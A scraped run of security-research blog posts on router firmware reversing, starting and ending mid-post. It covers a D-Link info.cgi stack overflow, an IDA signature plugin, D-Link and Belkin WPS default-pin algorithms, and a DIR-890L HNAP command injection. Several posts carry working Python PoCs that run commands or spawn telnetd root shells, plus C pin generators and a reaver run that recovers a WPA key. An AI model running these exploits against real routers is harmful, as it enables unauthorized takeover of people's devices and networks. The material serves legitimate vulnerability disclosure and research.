We can see that the decode function is only called if the POST parameter name is “path”, and from the memset we can infer that the decode_buf passed to the decode function is only a 0x400 byte stack buffer:

char decode_buf[0x400];

if(strcmp(entries[i]->name, "path") == 0)
{
    // Decode path POST value into the fixed-size decode_buf
    decode(entries[i]->value, decode_buf);
    strcpy(entries[i]->value, decode_buf);
}

replace_special_char(entries[i]->value);

This means that providing a POST “path” value greater than 0x400 bytes will overflow the decode_buf stack variable in the get_input_entries function. What’s more, we have no bad bytes, because the decode function will helpfully URL decode any offending bytes (NULL bytes become “%00” in our POST request, for example) before copying them to the stack.

However, we have to take care in crafting our exploit buffer such that we don’t trigger the previously described stack overflow in the replace_special_char function, which is called before get_input_entries returns.

Luckily, the data passed to replace_special_char is actually strcpy’d from decode_buf first. If we put a NULL byte near the beginning of our POST data, replace_special_char will only be passed a very small string (everything up to the first NULL byte) instead of the entire POST data that has been decoded onto the stack.

A “path” POST value greater than 1060 bytes will overflow everything in the get_input_entries stack frame up to the saved return address:

The get_input_entries stack layout

The get_input_entries stack layout

And, since we have no bad bytes, we can use the return address of 0x00405CEC that was used in previous exploits in order to call system() with a pointer to the stack ($sp+0x28):

system() call at 0x00405CEC

system() call at 0x00405CEC

Here’s some PoC code in Python that overflows the get_input_entries saved return address with the address of the call to system() at 0x00405CEC and puts a command to execute on the stack at $sp+0x28:

import sys
import urllib
import urllib2

try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf  = "x00"               # Start with a NULL byte to prevent crashing in replace_special_chars
buf += "D" * (1060-1)       # Stack filler
buf += "x00x40x5CxEC"   # $ra, address of call to system()
buf += "E" * 0x28           # Stack filler
buf += command              # Command to execute
buf += "x00"               # NULL terminate the command, for good measure

# URL encode the path POST value
post_data = "path=" + urllib.quote_plus(buf).replace('+', '%20')

# Set a referer to show that there are no CSRF protections
headers = {'Referer' : 'http://www.attacker.com/exploit.html'}

req = urllib2.Request(url, post_data, headers)
print urllib2.urlopen(req).read()

And, of course, it works as expected:

$ ./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxrwx    3 1000     1000         4096 May 24 23:26 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www

A Code Signature Plugin for IDA – /dev/ttyS0

$
0
0

When reversing embedded code, it is often the case that completely different devices are built around a common code base, either due to code re-use by the vendor, or through the use of third-party software; this is especially true of devices running the same Real Time Operating System.

For example, I have two different routers, manufactured by two different vendors, and released about four years apart. Both devices run VxWorks, but the firmware for the older device included a symbol table, making it trivial to identify most of the original function names:

VxWorks Symbol Table

VxWorks Symbol Table

The older device with the symbol table is running VxWorks 5.5, while the newer device (with no symbol table) runs VxWorks 5.5.1, so they are pretty close in terms of their OS version. However, even simple functions contain a very different sequence of instructions when compared between the two firmwares:

strcpy from the VxWorks 5.5 firmware

strcpy from the VxWorks 5.5 firmware

strcpy from the VxWorks 5.5.1 firmware

strcpy from the VxWorks 5.5.1 firmware

Of course, binary variations can be the result of any number of things, including differences in the compiler version and changes to the build options.

Despite this, it would still be quite useful to take the known symbol names from the older device, particularly those of standard and common subroutines, and apply them to the newer device in order to facilitate the reversing of higher level functionality.

Existing Solutions

The IDB_2_PAT plugin will generate FLIRT signatures from the IDB with a symbol table; IDA’s FLIRT analysis can then be used to identify functions in the newer, symbol-less IDB:

Functions identified by IDA FLIRT analysis

Functions identified by IDA FLIRT analysis

With the FLIRT signatures, IDA was able to identify 164 functions, some of which, like os_memcpy and udp_cksum, are quite useful.

Of course, FLIRT signatures will only identify functions that start with the same sequence of instructions, and many of the standard POSIX functions, such as printf and strcmp, were not found.

Because FLIRT signatures only examine the first 32 bytes of a function, there are also many signature collisions between similar functions, which can be problematic:

;--------- (delete these lines to allow sigmake to read this file)
; add '+' at the start of a line to select a module
; add '-' if you are not sure about the selection
; do nothing if you want to exclude all modules

div_r                                               54 B8C8 00000000000000000085001A0000081214A00002002010210007000D2401FFFF
ldiv_r                                              54 B8C8 00000000000000000085001A0000081214A00002002010210007000D2401FFFF

proc_sname                                          00 0000 0000102127BDFEF803E0000827BD0108................................
proc_file                                           00 0000 0000102127BDFEF803E0000827BD0108................................

atoi                                                00 0000 000028250809F52A2406000A........................................
atol                                                00 0000 000028250809F52A2406000A........................................

PinChecksum                                         FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD
wps_checksum1                                       FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD
wps_checksum2                                       FF 5EB5 00044080010440213C046B5F000840403484CA6B010400193C0ECCCC35CECCCD

_d_cmp                                              FC 1FAF 0004CD02333907FF240F07FF172F000A0006CD023C18000F3718FFFF2419FFFF
_d_cmpe                                             FC 1FAF 0004CD02333907FF240F07FF172F000A0006CD023C18000F3718FFFF2419FFFF

_f_cmp                                              A0 C947 0004CDC2333900FF241800FF173800070005CDC23C19007F3739FFFF0099C824
_f_cmpe                                             A0 C947 0004CDC2333900FF241800FF173800070005CDC23C19007F3739FFFF0099C824

m_get                                               00 0000 00803021000610423C04803D8C8494F0................................
m_gethdr                                            00 0000 00803021000610423C04803D8C8494F0................................
m_getclr                                            00 0000 00803021000610423C04803D8C8494F0................................

...

Alternative Signature Approaches

Examining the functions between the two VxWorks firmwares shows that there are a small fraction (about 3%) of unique subroutines that are identical between both firmware images:

bcopy from the VxWorks 5.5 firmware

bcopy from the VxWorks 5.5 firmware

bcopy from the VxWorks 5.5.1 firmware

bcopy from the VxWorks 5.5.1 firmware

Signatures can be created over the entirety of these functions in order to generate more accurate fingerprints, without the possibility of collisions due to similar or identical function prologues in unrelated subroutines.

Still other functions are very nearly identical, as exemplified by the following functions which only differ by a couple of instructions:

A function from the VxWorks 5.5 firmware

A function from the VxWorks 5.5 firmware

The same function, in the VxWorks 5.5.1 firmware

The same function, from the VxWorks 5.5.1 firmware

A simple way to identify these similar, but not identical, functions in an architecture independent manner is to generate “fuzzy” signatures based only on easily identifiable actions, such as memory accesses, references to constant values, and function calls.

In the above function for example, we can see that there are six code blocks, one which references the immediate value 0xFFFFFFFF, one which has a single function call, and one which contains two function calls. As long as no other functions match this “fuzzy” signature, we can use these unique metrics to identify this same function in other IDBs. Although this type of matching can catch functions that would otherwise go unidentified, it also has a higher propensity for false positives.

A bit more reliable metric is unique string references, such as this one in gethostbyname:

gethostbyname string xref

gethostbyname string xref

Likewise, unique constants can also be used for function identification, particularly subroutines related to crypto or hashing:

Constant 0x41C64E6D used by rand

Constant 0x41C64E6D used by rand

Even identifying functions whose names we don’t know can be useful. Consider the following code snippet in sub_801A50E0, from the VxWorks 5.5 firmware:

Function calls from sub_801A50E0

Function calls from sub_801A50E0

This unidentified function calls memset, strcpy, atoi, and sprintf; hence, if we can find this same function in other VxWorks firmware, we can identify these standard functions by association.

Alternative Signatures in Practice

I wrote an IDA plugin to automate these signature techniques and apply them to the VxWorks 5.5.1 firmware:

Output from the Rizzo plugin

Output from the Rizzo plugin

This identified nearly 1,300 functions, and although some of those are probably incorrect, it was quite successful in locating many standard POSIX functions:

Functions identified by Rizzo

Functions identified by Rizzo

Like any such automated process, this is sure to produce some false positives/negatives, but having used it successfully against several RTOS firmwares now, I’m quite happy with it (read: “it works for me”!).

Reversing D-Link’s WPS Pin Algorithm – /dev/ttyS0

$
0
0

While perusing the latest firmware for D-Link’s DIR-810L 80211ac router, I found an interesting bit of code in sbin/ncc, a binary which provides back-end services used by many other processes on the device, including the HTTP and UPnP servers:

Call to sub_4D56F8 from getWPSPinCode

Call to sub_4D56F8 from getWPSPinCode

I first began examining this particular piece of code with the hopes of controlling part of the format string that is passed to __system. However, this data proved not to be user controllable, as the value placed in the format string is the default WPS pin for the router.

The default WPS pin itself is retrieved via a call to sub_4D56F8. Since the WPS pin is typically programmed into NVRAM at the factory, one might expect sub_4D56F8 to simply be performing some NVRAM queries, but that is not the case:

The beginning of sub_4D56F8

The beginning of sub_4D56F8

This code isn’t retrieving a WPS pin at all, but instead is grabbing the router’s WAN MAC address. The MAC address is then split into its OUI and NIC components, and a tedious set of multiplications, xors, and shifts ensues (full disassembly listing here):

Break out the MAC and start munging the NIC

Break out the MAC and start munging the NIC

<!–
More NIC munging
–>

While the math being performed is not complicated, determining the original programmer’s intent is not necessarily straightforward due to the assembly generated by the compiler. Take the following instruction sequence for example:

li $v0, 0x38E38E39
multu $a3, $v0
...
mfhi $v0
srl $v0, 1

Directly converted into C, this reads:

v0 = ((a3 * 0x38E38E39) >> 32) >> 1;

Which is just a fancy way of dividing by 9:

v0 = a3 / 9;

Likewise, most multiplication and modulus operations are also performed by various sequences of shifts, additions, and subtractions. The multu assembly instruction is only used for the above example where the high 32 bits of a product are needed, and there is nary a divu in sight.

However, after translating the entire sub_4D56F8 disassembly listing into a more palatable format, it’s obvious that this code is using a simple algorithm to generate the default WPS pin entirely from the NIC portion of the device’s WAN MAC address:

unsigned int generate_default_pin(char *buf)
{
    char *mac;
    char mac_address[32] = { 0 };
    unsigned int oui, nic, pin;

    /* Get a pointer to the WAN MAC address */
    mac = lockAndGetInfo_log()->wan_mac_address;

    /* 
     * Create a local, NULL-terminated copy of the WAN MAC (simplified from
     * the original code's sprintf/memmove loop).
     */
    sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0],
                                                     mac[1],
                                                     mac[2],
                                                     mac[3],
                                                     mac[4],
                                                     mac[5],
                                                     mac[6],
                                                     mac[7],
                                                     mac[8],
                                                     mac[9],
                                                     mac[10],
                                                     mac[11]);

    /* 
     * Convert the OUI and NIC portions of the MAC address to integer values.
     * OUI is unused, just need the NIC.
     */
    sscanf(mac_address, "%06X%06X", &oui, &nic);

    /* Do some XOR munging of the NIC. */
    pin = (nic ^ 0x55AA55);
    pin = pin ^ (((pin & 0x0F) << 4) +
                 ((pin & 0x0F) << 8) +
                 ((pin & 0x0F) << 12) +
                 ((pin & 0x0F) << 16) +
                 ((pin & 0x0F) << 20));
 
    /*
     * The largest possible remainder for any value divided by 10,000,000
     * is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0.
     */
     pin = pin % 10000000;
 
    /* The pin needs to be at least 7 digits long */
    if(pin < 1000000)
    {
        /*
         * The largest possible remainder for any value divided by 9 is
         * 8; hence this adds at most 9,000,000 to the pin value, and at
         * least 1,000,000. This guarantees that the pin will be 7 digits
         * long, and also means that it won't start with a 0.
         */
        pin += ((pin % 9) * 1000000) + 1000000;
    }
 
    /*
     * The final 8 digit pin is the 7 digit value just computed, plus a
     * checksum digit. Note that in the disassembly, the wps_pin_checksum
     * function is inlined (it's just the standard WPS checksum implementation).
     */
    pin = ((pin * 10) + wps_pin_checksum(pin));

    sprintf(buf, "%08d", pin);
    return pin;
}

Since the BSSID is only off-by-one from the WAN MAC, we can easily calculate any DIR-810L’s WPS pin just from a passive packet capture:

$ sudo airodump-ng mon0 -c 4

 CH  4 ][ Elapsed: 0 s ][ 2014-09-11 11:44 ][ fixed channel mon0: -1 
                                                                      
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                    
C0:A0:BB:EF:B3:D6  -13   0        6        0    0   4  54e  WPA2 CCMP   PSK  dlink-B3D6 

$ ./pingen C0:A0:BB:EF:B3:D7   # <--- WAN MAC is BSSID+1
Default Pin: 99767389

$ sudo reaver -i mon0 -b C0:A0:BB:EF:B3:D6 -c 4 -p 99767389

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from C0:A0:BB:EF:B3:D6
[+] Associated with C0:A0:BB:EF:B3:D6 (ESSID: dlink-B3D6)
[+] WPS PIN: '99767389'
[+] WPA PSK: 'hluig79268'
[+] AP SSID: 'dlink-B3D6'

But the DIR-810L isn’t the only device to use this algorithm. In fact, it appears to have been in use for some time, dating all the way back to 2007 when WPS was first introduced. The following is an – I’m sure – incomplete list of affected and unaffected devices:

Confirmed Affected:

  1. DIR-810L
  2. DIR-826L
  3. DIR-632
  4. DHP-1320
  5. DIR-835
  6. DIR-615 revs: B2, C1, E1, E3
  7. DIR-657
  8. DIR-827
  9. DIR-857
  10. DIR-451
  11. DIR-655 revs: A3, A4, B1
  12. DIR-825 revs: A1, B1
  13. DIR-651
  14. DIR-855
  15. DIR-628
  16. DGL-4500
  17. DIR-601 revs: A1, B1
  18. DIR-836L
  19. DIR-808L
  20. DIR-636L
  21. DAP-1350
  22. DAP-1555

Confirmed Unaffected:

  1. DIR-815
  2. DIR-505L
  3. DIR-300
  4. DIR-850L
  5. DIR-412
  6. DIR-600
  7. DIR-685
  8. DIR-817LW
  9. DIR-818LW
  10. DIR-803
  11. DIR-845L
  12. DIR-816L
  13. DIR-860L
  14. DIR-645
  15. DIR-685
  16. DAP-1522

Some affected devices, like the DIR-810L, generate the WPS pin from the WAN MAC; most generate it from the BSSID. A stand-alone tool implementing this algorithm can be found here, and has already been rolled into the latest Reaver Pro.

Hacking the D-Link DIR-890L – /dev/ttyS0

$
0
0

The past 6 months have been incredibly busy, and I haven’t been keeping up with D-Link’s latest shenanigans. In need of some entertainment, I went to their web page today and was greeted by this atrocity:

D-Link's $300 DIR-890L router

D-Link’s $300 DIR-890L router

I think the most “insane” thing about this router is that it’s running the same buggy firmware that D-Link has been cramming in their routers for years…and the hits just keep on coming.

OK, let’s do the usual: grab the latest firmware release, binwalk it and see what we’ve got:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"
116           0x74            LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes
1835124       0x1C0074        PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes
1835156       0x1C0094        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13852268 bytes, 2566 inodes, blocksize: 131072 bytes, created: 2015-02-11 09:18:37

Looks like a pretty standard Linux firmware image, and if you’ve looked at any D-Link firmware over the past few years, you’ll probably recognize the root directory structure:

$ ls squashfs-root
bin  dev  etc  home  htdocs  include  lib  mnt  mydlink  proc  sbin  sys  tmp  usr  var  www

All of the HTTP/UPnP/HNAP stuff is located under the htdocs directory. The most interesting file here is htdocs/cgibin, an ARM ELF binary which is executed by the web server for, well, just about everything: all CGI, UPnP, and HNAP related URLs are symlinked to this one binary:

$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin

It’s been stripped of course, but there are plenty of strings to help us out. The first thing that main does is compare argv[0] against all known symlink names (captcha.cgi, conntrack.cgi, etc) to decide which action it is supposed to take:

"Staircase" code graph, typical of  if-else statements

“Staircase” code graph, typical of if-else statements

Each of these comparisons are strcmp‘s against the expected symlink names:

Function handlers for various symlinks

Function handlers for various symlinks

This makes it easy to correlate each function handler to its respective symlink name and re-name the functions appropriately:

Renamed symlink function handlers

Renamed symlink function handlers

Now that we’ve got some of the high-level functions identified, let’s start bug hunting. Other D-Link devices running essentially the same firmware have previously been exploited through both their HTTP and UPnP interfaces. However, the HNAP interface, which is handled by the hnap_main function in cgibin, seems to have been mostly overlooked.

HNAP (Home Network Administration Protocol) is a SOAP-based protocol, similar to UPnP, that is commonly used by D-Link’s “EZ” setup utilities to initially configure the router. Unlike UPnP however, all HNAP actions, with the exception of GetDeviceInfo (which is basically useless), require HTTP Basic authentication:

POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <AddPortMapping xmlns="http://purenetworks.com/HNAP1/">
   <PortMappingDescription>foobar</PortMappingDescription>
   <InternalClient>192.168.0.100</InternalClient>
   <PortMappingProtocol>TCP</PortMappingProtocol>
   <ExternalPort>1234</ExternalPort>
   <InternalPort>1234</InternalPort>
  </AddPortMapping>
 </soap:Body>
</soap:Envelope>

The SOAPAction header is of particular importance in an HNAP request, because it specifies which HNAP action should be taken (AddPortMapping in the above example).

Since cgibin is executed as a CGI by the web server, hnap_main accesses HNAP request data, such as the SOAPAction header, via environment variables:

SOAPAction = getenv("HTTP_SOAPACTION");

SOAPAction = getenv(“HTTP_SOAPACTION”);

Towards the end of hnap_main, there is a shell command being built dynamically with sprintf; this command is then executed via system:

sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);

sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);

Clearly, hnap_main is using data from the SOAPAction header as part of the system command! This is a promising command injection bug, if the contents of the SOAPAction header aren’t being sanitized, and if we can get into this code block without authentication.

Going back to the beginning of hnap_main, one of the first checks it does is to see if the SOAPAction header is equal to the string http://purenetworks.com/HNAP1/GetDeviceSettings; if so, then it skips the authentication check. This is expected, as we’ve already established that the GetDeviceSettings action does not require authentication:

if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") != NULL)

if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)

However, note that strstr is used for this check, which only indicates that the SOAPAction header contains the http://purenetworks.com/HNAP1/GetDeviceSettings string, not that the header equals that string.

So, if the SOAPAction header contains the string http://purenetworks.com/HNAP1/GetDeviceSettings, the code then proceeds to parse the action name (e.g., GetDeviceSettings) out of the header and remove any trailing double-quotes:

SOAPAction = strrchr(SOAPAction, '/');

SOAPAction = strrchr(SOAPAction, ‘/’);

It is the action name (e.g., GetDeviceSettings), parsed out of the header by the above code, that is sprintf‘d into the command string executed by system.

Here’s the code in C, to help highlight the flaw in the above logic:

/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");

/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
    /* do auth check */
}

/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
{
    /* Point the SOAPAction pointer one byte beyond the last forward slash */
    SOAPAction += 1;

    /* Get rid of any trailing double quotes */
    if(SOAPAction[strlen(SOAPAction)-1] == '"')
    {
        SOAPAction[strlen(SOAPAction)-1] = '';
    }
}
else
{
    goto failure_condition;
}

/* Build the command using the specified SOAPAction string and execute it */
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);

The two important take-aways from this are:

  1. There is no authentication check if the SOAPAction header contains the string http://purenetworks.com/HNAP1/GetDeviceSettings
  2. The string passed to sprintf (and ultimately system) is everything after the last forward slash in the SOAPAction header

Thus, we can easily format a SOAPAction header that both satisfies the “no auth” check, and allows us to pass an arbitrary string to system:

SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"

The http://purenetworks.com/HNAP1/GetDeviceSettings portion of the header satisfies the “no auth” check, while the `reboot` string ends up getting passed to system:

system("sh /var/run/`reboot`.sh > /dev/console");

Replacing reboot with telnetd spawns a telnet server that provides an unauthenticated root shell:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.


BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# 

If remote administration is enabled, HNAP requests are honored from the WAN, making remote exploitation possible. Of course, the router’s firewall will block any incoming telnet connections from the WAN; a simple solution is to kill off the HTTP server and spawn your telnet server on whatever port the HTTP server was bound to:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.


BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# 

Note that the wget requests will hang, since cgibin is essentially waiting for telnetd to return. A little Python PoC makes the exploit less awkward:

#!/usr/bin/env python

import sys
import urllib2
import httplib

try:
    ip_port = sys.argv[1].split(':')
    ip = ip_port[0]

    if len(ip_port) == 2:
        port = ip_port[1]
    elif len(ip_port) == 1:
        port = "80"
    else:
        raise IndexError
except IndexError:
    print "Usage: %s <target ip:port>" % sys.argv[0]
    sys.exit(1)

url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
#       any port; killing the http server and re-using its port
#       is not necessary.
#
#       Killing off all hung hnap processes ensures that we can
#       re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
            "SOAPAction"    : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
          }

req = urllib2.Request(url, None, headers)
try:
    urllib2.urlopen(req)
    raise Exception("Unexpected response")
except httplib.BadStatusLine:
    print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
    print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
    sys.exit(0)
except Exception:
    print "Received an unexpected response from the server; exploit probably failed. :("

I’ve tested both the v1.00 and v1.03 firmware (v1.03 being the latest at the time of this writing), and both are vulnerable. But, as is true with most embedded vulnerabilities, this code has snuck its way into other devices as well.

Analyzing “all the firmwares” is tedious, so I handed this bug over to our Centrifuge team at work, who have a great automated analysis system for this sort of thing. Centrifuge found that at least the following devices are also vulnerable:

  • DAP-1522 revB
  • DAP-1650 revB
  • DIR-880L
  • DIR-865L
  • DIR-860L revA
  • DIR-860L revB
  • DIR-815 revB
  • DIR-300 revB
  • DIR-600 revB
  • DIR-645
  • TEW-751DR
  • TEW-733GR

AFAIK, there is no way to disable HNAP on any of these devices.

UPDATE:

Looks like this same bug was found earlier this year by Samuel Huntly, but only reported and patched for the DIR-645. The patch looks pretty shitty though, so expect a follow-up post soon.

Reversing Belkin’s WPS Pin Algorithm – /dev/ttyS0

$
0
0

After finding D-Link’s WPS algorithm, I was curious to see which vendors might have similar algorithms, so I grabbed some Belkin firmware and started dissecting it. This particular firmware uses the SuperTask! RTOS, and in fact uses the same firmware obfuscation as seen previously on the Linksys WRT120N:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Obfuscated Arcadyan firmware, signature bytes: 0x12010920, see https://github.com/devttys0/wrt120n/deobfuscator
666624        0xA2C00         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 454656 bytes

Being a known obfuscation method, binwalk was able to de-obfuscate and extract the compressed firmware image. The next step was to figure out the code’s load address in order to get a proper disassembly in IDA; if the code is disassembled with the wrong load address, absolute memory references won’t be properly resolved.

Absolute addresses in the code can hint at the load address, such as this loop which zeros out the BSS data section:

BSS zero loop

BSS zero loop

BSS zeroing loops are usually easy to spot, as they will zero out relatively large regions of memory, and are typically encountered very early on in the code.

Here, the code is filling everything from 0x802655F0 to 0x80695574 with zeros, so this must be a valid address range in memory. Further, BSS is commonly located just after all the other code and data sections; in this case, the firmware image we’ve loaded into IDA is 0x2635EB bytes in size, so we would expect the BSS section to begin somewhere after this in memory:

End of ROM

End of ROM

In fact, subtracting the size of the firmware image from the start of the BSS section results in a value suspiciously close to 0x800002000:

0x802655F0 - 0x2635EB = 0x800002005

Setting 0x800002000 as the load address in IDA, we get a rather respectable disassembly:

A reasonable disassembly listing

A reasonable disassembly listing

With a reasonable disassembly, searching for a WPS pin generation algorithm could begin in ernest. When looking for functions related to generating WPS pins, it’s reasonable to assume that they’ll have to, at some point, calculate the WPS pin checksum. It would be useful to begin the search by first identifying the function(s) responsible for calculating the WPS pin checksum.

However, without a symbol table, finding a function conveniently named “wps_checksum” is not likely; luckily, MIPS C compilers tend to generate a predictable set of immediate values when generating the WPS checksum assembly code, a pattern I noticed when reversing D-Link’s WPS pin algorithm. Using an IDAPython script to search for these immediate values greatly simplifies the process of identifying the WPS checksum function:

WPS pin checksum immediate values

WPS pin checksum immediate values

There are only a few functions that call wps_checksum, and one of them contains a reference to a very interesting string:

"GenerateDefaultPin"

“GenerateDefaultPin”

There’s a lot of xoring and shifting going on in the GenerateDefaultPin code, but what is more interesting is what data it is munging. Looking at the values passed to GenerateDefaultPin, we can see that it is given both the router’s MAC address and serial number:

GenerateDefaultPin((char *buf, int unused, char *mac, char *serial);

GenerateDefaultPin(char *buf, int unused, char *mac, char *serial);

MAC addresses are easily gathered by a wireless attacker; serial numbers can be a bit more difficult. Although serial numbers aren’t particularly random, GenerateDefaultPin uses the least significant 4 digits of the serial number, which are unpredictable enough to prevent an external attacker from reliably calculating the WPS pin.

Or, at least that would be the case if the Belkin’s 802.11 probe response packets didn’t include the device’s serial number in its WPS information element:

Belkin probe response packet, captured in Wireshark

Belkin probe response packet, captured in Wireshark

Since WiFi probe request/response packets are not encrypted, an attacker can gather the MAC address (the MAC address used by the algorithm is the LAN MAC) and serial number of a target by sending a single probe request packet to a victim access point.

We just need to reverse the GenerateDefaultPin code to determine how it is using the MAC address and serial number to create a unique WPS pin (download PoC here):

/* Used in the Belkin code to convert an ASCII character to an integer */
int char2int(char c)
{
    char buf[2] = { 0 };

    buf[0] = c;
    return strtol(buf, NULL, 16);
}

/* Generates a standard WPS checksum from a 7 digit pin */
int wps_checksum(int pin)
{
    int div = 0;

    while(pin)
    {
        div += 3 * (pin % 10);
        pin /= 10;
        div += pin % 10;
        pin /= 10;
    }

    return ((10 - div % 10) % 10);
}

/* Munges the MAC and serial numbers to create a WPS pin */
int pingen(char *mac, char *serial)
{
#define NIC_NIBBLE_0    0
#define NIC_NIBBLE_1    1
#define NIC_NIBBLE_2    2
#define NIC_NIBBLE_3    3

#define SN_DIGIT_0      0
#define SN_DIGIT_1      1
#define SN_DIGIT_2      2
#define SN_DIGIT_3      3

    int sn[4], nic[4];
    int mac_len, serial_len;
    int k1, k2, pin;
    int p1, p2, p3;
    int t1, t2;

    mac_len = strlen(mac);
    serial_len = strlen(serial);

    /* Get the four least significant digits of the serial number */
    sn[SN_DIGIT_0] = char2int(serial[serial_len-1]);
    sn[SN_DIGIT_1] = char2int(serial[serial_len-2]);
    sn[SN_DIGIT_2] = char2int(serial[serial_len-3]);
    sn[SN_DIGIT_3] = char2int(serial[serial_len-4]);

    /* Get the four least significant nibbles of the MAC address */
    nic[NIC_NIBBLE_0] = char2int(mac[mac_len-1]);
    nic[NIC_NIBBLE_1] = char2int(mac[mac_len-2]);
    nic[NIC_NIBBLE_2] = char2int(mac[mac_len-3]);
    nic[NIC_NIBBLE_3] = char2int(mac[mac_len-4]);

    k1 = (sn[SN_DIGIT_2] + 
          sn[SN_DIGIT_3] +
          nic[NIC_NIBBLE_0] + 
          nic[NIC_NIBBLE_1]) % 16;

    k2 = (sn[SN_DIGIT_0] +
          sn[SN_DIGIT_1] +
          nic[NIC_NIBBLE_3] +
